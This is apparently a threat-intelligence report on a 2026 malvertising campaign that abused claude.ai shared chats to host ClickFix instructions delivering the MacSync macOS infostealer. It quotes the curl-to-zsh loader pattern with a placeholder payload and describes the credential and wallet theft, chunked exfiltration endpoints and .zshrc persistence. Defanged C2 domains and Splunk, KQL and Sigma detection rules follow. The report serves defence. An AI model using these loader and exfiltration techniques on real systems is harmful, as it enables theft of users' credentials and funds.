# Threat Actors Abuse claude.ai Shared Chat Feature for ClickFix Malvertising Campaign Delivering MacSync Stealer

> Between April 8 and June 14, 2026, TrendAI Research tracked a seven-week, six-wave malvertising campaign that hijacked Google Ads searches for AI developer tools (Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, JetBrains) and pivoted from self-hosted GitLab Pages to legitimate claude.ai shared-chat links to host ClickFix terminal-command instructions on a trusted domain. The campaign delivered the macOS-targeting MacSync infostealer to 2,000+ victims (67.2% APAC, 30.5% Taiwan), harvesting browser credentials, cookies, SSH keys, AWS/Kubernetes configs, cryptocurrency wallets and Telegram data before Anthropic banned the responsible accounts and disabled the malicious shared conversations.

- **Published:** 2026-08-30T00:00:00Z
- **Last reviewed:** 2026-08-30T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2241
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-claudefix-malvertising-macsync-campaign-tl-2026-2241.webp?v=633abe2d (Threadlinqs threat intel: ClaudeFix Abuses claude.ai for MacSync: Detection & IOCs (TL-2026-2241) — High severity, 22 IOCs, 9 detection rules.)
- **ID:** TL-2026-2241
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 22 (3 shown free below)

## Description

TrendAI Research (Trend Micro) documented a sustained Google Ads malvertising operation running April 8 - June 14, 2026 across six attack waves and 106 unique malicious hostnames. The campaign impersonated at least six brands relevant to AI-assisted developers - ChatGPT Codex, Perplexity, Cursor IDE, JetBrains, and Claude AI/claude.ai - by purchasing sponsored search results for queries such as "claude download" and "claude mac," exploiting the fact that technically skilled users are more likely to trust and execute terminal instructions without suspicion.

Waves 1-4 (April 8 - early May 2026) hosted fake installer and "Mac cleanup" landing pages on 92+ GitLab Pages subdomains (e.g. claude-code-app.gitlab.io, chatgpt-codex.gitlab.io). Beginning with Wave 5 (May 6-14), the operators pivoted to abusing claude.ai's legitimate shared-conversation feature: they set the Claude account display name to "Apple Support" (and later a "Corda Team" persona) and published shared chats containing step-by-step ClickFix instructions for opening Terminal and pasting a Base64-encoded command. By Wave 6 (May 21 - June 14) the campaign had abandoned GitLab infrastructure entirely, using 45 to 61+ distinct claude.ai shared-conversation IDs to host the lure - because the payload now resolved from a fully trusted, Safe-Browsing-exempt domain, it evaded the browser and search-engine warnings that would normally flag a freshly registered malicious host.

The ClickFix command decodes to a curl-piped-to-zsh loader (observed pattern: `curl -kfsSL $(echo '<base64>' | base64 -D) | zsh`) that retrieves a Base64+gzip-packed second-stage script from a C2 host (Zscaler's overlapping June 12-19 sub-wave, dubbed "ClaudeFix," used lasvegaslaminateflooring.com among 170+ hosting domains). That script authenticates to a `/dynamic?txd=<token>` endpoint with a hardcoded API key and fetches a fileless AppleScript payload executed via the Apple-signed `osascript` interpreter, leaving minimal disk artifacts. The AppleScript is MacSync, a Malware-as-a-Service macOS infostealer first tracked since November 2025 across prior ClickFix waves that impersonated OpenAI ChatGPT Atlas and abused chatgpt.com shared-conversation links. MacSync enumerates running processes and system information, then harvests Keychain data, Chromium/Firefox browser credentials and cookies, SSH keys, AWS and Kubernetes configuration files, Telegram Desktop data, shell history, and targeted file extensions (.wallet, .key, .seed, .kdbx, .pem), alongside 80-130+ browser-extension cryptocurrency wallets and desktop wallets (Exodus, Electrum, Bitcoin, Monero, Litecoin); later MacSync variants also trojanize the Ledger hardware-wallet application to capture seed phrases. Stolen data is staged under `/tmp/sync<7-digit-random>/`, archived to `/tmp/osalogging.zip`, and exfiltrated via HTTP PUT in 10MB chunks (up to 8 retries) to a `/gate?buildtxd=...&upload_id=...&chunk_index=...&total_chunks=...` endpoint, with wallet-specific data routed through `/ledger/` and `/trezor/` paths. Observed evasion includes Base64/gzip obfuscation, output redirection to /dev/null, a Russian-keyboard-layout check that skips execution on likely CIS-region hosts, and (in related MacSync iterations) abuse of Apple code-signing/notarization to suppress Gatekeeper warnings entirely. Persistence is achieved by appending the download-and-execute command to `~/.zshrc`, re-triggering on each new terminal session.

Victim telemetry skewed heavily toward Asia-Pacific (67.2%), led by Taiwan (30.5%, 772 confirmed interactions), Japan (201) and Singapore (188), with later waves expanding into India, France and Italy. Russian-language comments found in campaign-tracking code, combined with the CIS-region exclusion logic, point toward a Russian-speaking criminal operator running MacSync as a MaaS offering rather than a nation-state actor. Upon notification by TrendAI Research, Anthropic investigated, banned the accounts responsible, disabled the malicious shared conversations, and stated it is implementing additional abuse mitigations for the shared-chat feature; because MacSync's operators have rotated infrastructure across at least three prior campaign iterations (Nov 2025, Dec 2025, Feb 2026 - the last of which targeted U.S. SLTT government macOS users) before this wave, recurrence via the same or another trusted-platform vector remains likely.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1566 Phishing
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1546 Event Triggered Execution
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1036 Masquerading
- T1553 Subvert Trust Controls
- T1497 Virtualization/Sandbox Evasion
- T1555 Credentials from Password Stores
- T1552 Unsecured Credentials
- T1539 Steal Web Session Cookie
- T1082 System Information Discovery
- T1005 Data from Local System

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**ClickFix Base64 Curl-to-Zsh Execution After Malvertised AI-Tool Landing Page Visit (SPL)** (`TL-2026-2241-SPL-001`)

Detects the MacSync/ClaudeFix exploitation chain: a Terminal/iTerm-launched shell command combining curl, a base64-encoded payload, and a pipe to zsh -- the ClickFix pattern victims are socially engineered into pasting after visiting a malvertised landing page impersonating Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, or JetBrains on GitLab Pages, Bitbucket Pages, or an abused claude.ai/chatgpt.com shared-chat link.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1566.002, T1204, T1059.004, T1036.005, T1140
- **Data sources:** osquery process_events (macOS fleet telemetry), web/proxy logs (stream:http, pan:threat)
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=osquery sourcetype="osquery:results" table_name=process_events os_platform=darwin
| eval cmdline_lc=lower(cmdline), parent_lc=lower(parent_name)
| where like(cmdline_lc, "%curl%") AND like(cmdline_lc, "%base64%") AND (like(cmdline_lc, "%|zsh%") OR like(cmdline_lc, "%| zsh%"))
| where match(parent_lc, "terminal|iterm2?|zsh|login")
| eval mitre_technique="T1059.004,T1204,T1140"
| table _time host username parent_name cmdline mitre_technique
| append
    [ search index=proxy (sourcetype="stream:http" OR sourcetype="pan:threat")
      (dest_domain="*.gitlab.io" OR dest_domain="*.bitbucket.io" OR dest_domain="claude.ai" OR dest_domain="chatgpt.com")
      (url="*claude-code-app*" OR url="*claudeapp*" OR url="*mac-clean-storage*" OR url="*mac-guide-tool*" OR url="*perplexity-platform*" OR url="*chatgpt-codex*" OR url="*codexgpt*" OR url="*mac-usb-fix*" OR url="/share/*")
      | eval mitre_technique="T1566.002,T1036.005"
      | table _time host username dest_domain url mitre_technique ]
| sort - _time
```

### Microsoft KQL

```kql
let MaliciousLandingHosts = dynamic(["gitlab.io","bitbucket.io","claude.ai","chatgpt.com"]);
let MaliciousLandingPaths = dynamic(["claude-code-app","claudeapp","mac-clean-storage","mac-guide-tool","perplexity-platform","chatgpt-codex","codexgpt","mac-usb-fix","/share/"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("zsh","bash","sh")
| where ProcessCommandLine has "curl" and ProcessCommandLine has "base64" and ProcessCommandLine has_any ("|zsh","| zsh")
| where InitiatingProcessFileName has_any ("Terminal","iTerm","zsh","login")
| extend Detail = ProcessCommandLine, MitreTechnique = "T1059.004,T1204,T1140"
| project Timestamp, DeviceName, AccountName, Detail, MitreTechnique
| union (
    DeviceNetworkEvents
    | where Timestamp > ago(24h)
    | where RemoteUrl has_any (MaliciousLandingHosts) and RemoteUrl has_any (MaliciousLandingPaths)
    | extend Detail = RemoteUrl, MitreTechnique = "T1566.002,T1036.005"
    | project Timestamp, DeviceName, AccountName, Detail, MitreTechnique
)
| sort by Timestamp desc
```

### Sigma

```yaml
title: MacSync ClickFix Base64 Curl-to-Zsh Loader Execution
id: 7e2a1c4a-3f5b-4b9a-9c2e-1a6d8f0b2c11
status: experimental
description: Detects the ClickFix social-engineering command pattern used in the April-June 2026 MacSync/ClaudeFix malvertising campaign, where a victim pastes a base64-encoded curl-piped-to-zsh loader into Terminal after visiting a malicious landing page impersonating an AI developer tool.
references:
    - https://www.trendmicro.com/en_us/research/26/f/claudeai-shared-chat-abused-in-malvertising.html
    - https://www.zscaler.com/blogs/security-research/claudefix-shared-claude-chats-meet-clickfix
author: Threadlinqs Team
date: 2026-08-30
tags:
    - attack.initial-access
    - attack.t1566.002
    - attack.execution
    - attack.t1204
    - attack.t1059.004
    - attack.defense-evasion
    - attack.t1140
    - attack.t1036.005
    - attack.tool.macsync_stealer
    - attack.campaign.claudefix
logsource:
    category: process_creation
    product: macos
detection:
    selection_parent:
        ParentImage|contains:
            - 'Terminal'
            - 'iTerm'
    selection_cmd:
        CommandLine|contains|all:
            - 'curl'
            - 'base64'
        CommandLine|contains:
            - '|zsh'
            - '| zsh'
    condition: selection_parent and selection_cmd
falsepositives:
    - Developer or admin scripts that legitimately combine curl, base64 decoding, and a shell pipe for software installation (e.g. some Homebrew-adjacent installers) -- verify the decoded payload and destination domain before dismissing
level: high
```

**Known false positives:**

- Legitimate developer install scripts combining curl, base64 decoding, and a shell pipe (e.g. some Homebrew-adjacent installers) -- verify the decoded payload and destination domain before dismissing
- QA/automation harnesses that script Terminal commands with similar curl|base64|zsh syntax for approved software deployment

**Tuning notes:** Maintain an allowlist of your organization's approved installer binaries/signing identities (e.g. Homebrew) and exclude their parent-process signatures; widen or narrow the GitLab Pages / Bitbucket Pages / claude.ai / chatgpt.com shared-link path list as new malvertising lures are identified in future waves.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- ClickFix Base64 Curl-to-Zsh Execution After Malvertised AI-Tool Landing Page Visit (KQL) (locked: unlock with TL Creds)
- MacSync Post-Exploitation: Zshrc Persistence, Fileless AppleScript, and Credential-Store Access (KQL) (locked: unlock with TL Creds)
- MacSync Chunked HTTP Exfiltration and ClaudeFix/MacSync C2 Beaconing (KQL) (locked: unlock with TL Creds)
- ClickFix Base64 Curl-to-Zsh Terminal Execution (Sigma) (locked: unlock with TL Creds)
- MacSync Post-Exploitation: Zshrc Persistence and Fileless AppleScript Execution (Sigma) (locked: unlock with TL Creds)
- MacSync Stealer Chunked HTTP Exfiltration and C2 Beacon Domains (Sigma) (locked: unlock with TL Creds)
- MacSync Post-Exploitation: Zshrc Persistence, Fileless AppleScript, and Credential-Store Access (SPL) (locked: unlock with TL Creds)
- MacSync Chunked HTTP Exfiltration and ClaudeFix/MacSync C2 Beaconing (SPL) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 22)

Defanged, TLP:CLEAR.

- Domain: `lasvegaslaminateflooring[.]com`
- Domain: `filegrowthlabs[.]com`
- Domain: `mansfieldpediatrics[.]com`

Full set of 22 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Threat Actors Abuse claude.ai Shared Chat for ClickFix Malvertising Campaign](https://www.trendmicro.com/en_us/research/26/f/claudeai-shared-chat-abused-in-malvertising.html)
- [Hackers Abuse Claude.ai Shared Chat Feature to Host the ClickFix Social Engineering Instructions](https://cybersecuritynews.com/claude-ai-shared-chat-feature-abused/)
- [Hackers Abuse Shared Claude Chats and Google Ads to Deploy MacSync Stealer on macOS](https://cybersecuritynews.com/shared-claude-chats-macsync-stealer/)
- [ClaudeFix: Shared Claude Chats Meet ClickFix](https://www.zscaler.com/blogs/security-research/claudefix-shared-claude-chats-meet-clickfix)
- [MacSync Stealer malware bypasses macOS Gatekeeper security warnings](https://www.csoonline.com/article/4111179/macsync-stealer-malware-bypasses-macos-gatekeeper-security-warnings.html)
- [Attackers abuse Google Ads, GitLab, and Claude to deliver malware](https://www.csoonline.com/article/4186813/attackers-abuse-google-ads-gitlab-and-claude-to-deliver-malware.html)
- [ClickFix Campaigns Spread MacSync macOS Infostealer via Fake AI Tool Installers](https://thehackernews.com/2026/03/clickfix-campaigns-spread-macsync-macos.html)
- [ThreatsDay Bulletin: Claude Chat Abuse, NastyC2 npm Packages, Device-Code Phishing + 25 More Stories](https://thehackernews.com/2026/06/threatsday-bulletin-claude-chat-abuse.html)
- [MacSync Stealer: How a MaaS Infostealer Is Quietly Draining macOS Endpoints](https://redpiranha.net/news/macsync-stealer-how-maas-infostealer-quietly-draining-macos-endpoints)
- [MacSync Stealer Campaign Impacting U.S. SLTT macOS Users](https://www.cisecurity.org/insights/blog/macsync-stealer-campaign-impacting-us-sltt-macos-users)
- [AI Coding Tools Under Fire: Mapping the Malvertising Campaigns Targeting the Vibe Coding Ecosystem](https://www.pillar.security/blog/ai-coding-tools-under-fire-mapping-the-malvertising-campaigns-targeting-the-vibe-coding-ecosystem)
- [Malvertising Campaign Abuses Claude.ai Shared Chat Feature for Social Engineering Attacks](https://cyberpress.org/malvertising-campaign-claude-ai-shared-chat-feature/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2241
